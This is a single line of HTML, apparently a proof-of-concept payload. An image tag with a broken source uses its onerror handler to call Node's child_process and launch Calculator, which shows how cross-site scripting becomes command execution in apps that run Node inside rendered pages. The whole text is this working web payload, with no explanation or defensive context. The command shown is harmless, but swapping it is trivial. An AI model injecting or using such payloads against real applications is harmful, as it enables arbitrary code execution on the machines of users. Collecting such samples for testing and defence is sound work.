<img src=x onerror="require('child_process').exec('open -a Calculator')">